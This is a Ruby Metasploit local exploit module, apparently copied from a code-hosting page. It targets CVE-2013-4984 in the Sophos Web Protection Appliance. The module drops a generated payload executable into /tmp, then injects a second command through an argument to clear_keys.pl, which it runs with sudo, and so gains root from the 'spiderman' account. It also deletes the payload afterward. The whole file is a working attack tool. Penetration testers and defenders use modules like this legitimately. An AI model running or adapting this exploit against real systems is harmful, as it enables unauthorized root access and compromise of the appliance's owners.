96 lines
3.2 KiB
Ruby
96 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit4 < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation',
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'Description' => %q{
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This module abuses a command injection on the clear_keys.pl perl script, installed with the
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Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".
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This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection
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Appliance web ui, executed by the "spiderman" user. This module has been tested successfully
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on Sophos Virtual Web Appliance 3.7.0.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Francisco Falcon', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'Platform' => [ 'linux'],
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'Arch' => [ ARCH_X86 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
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'References' =>
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[
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[ 'CVE', '2013-4984' ],
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[ 'OSVDB', '97028' ],
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[ 'BID', '62265' ],
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[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
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],
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'DefaultOptions' =>
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{
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"PrependFork" => true,
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"PrependSetresuid" => true,
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"PrependSetresgid" => true
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},
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 06 2013'
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}
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))
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register_options([
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# These are not OptPath becuase it's a *remote* path
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OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
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OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]),
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], self.class)
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end
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def check
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if file?(datastore["clear_keys"])
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return CheckCode::Detected
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end
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return CheckCode::Safe
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end
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def exploit
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print_status("Checking actual user...")
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id = cmd_exec("id -un")
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if id != "spiderman"
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fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this")
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end
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print_status("Checking for the vulnerable component...")
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if check != CheckCode::Detected
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fail_with(Failure::NoTarget, "The vulnerable component has not been found")
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end
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print_status("Dropping the payload to #{datastore["WritableDir"]}")
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exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
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write_file(exe_file, generate_payload_exe)
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cmd_exec "chmod +x #{exe_file}"
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print_status("Running...")
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begin
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# rm the file after executing it to avoid getting multiple sessions
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cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}"
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ensure
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cmd_exec "rm -f #{exe_file}"
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end
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end
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end
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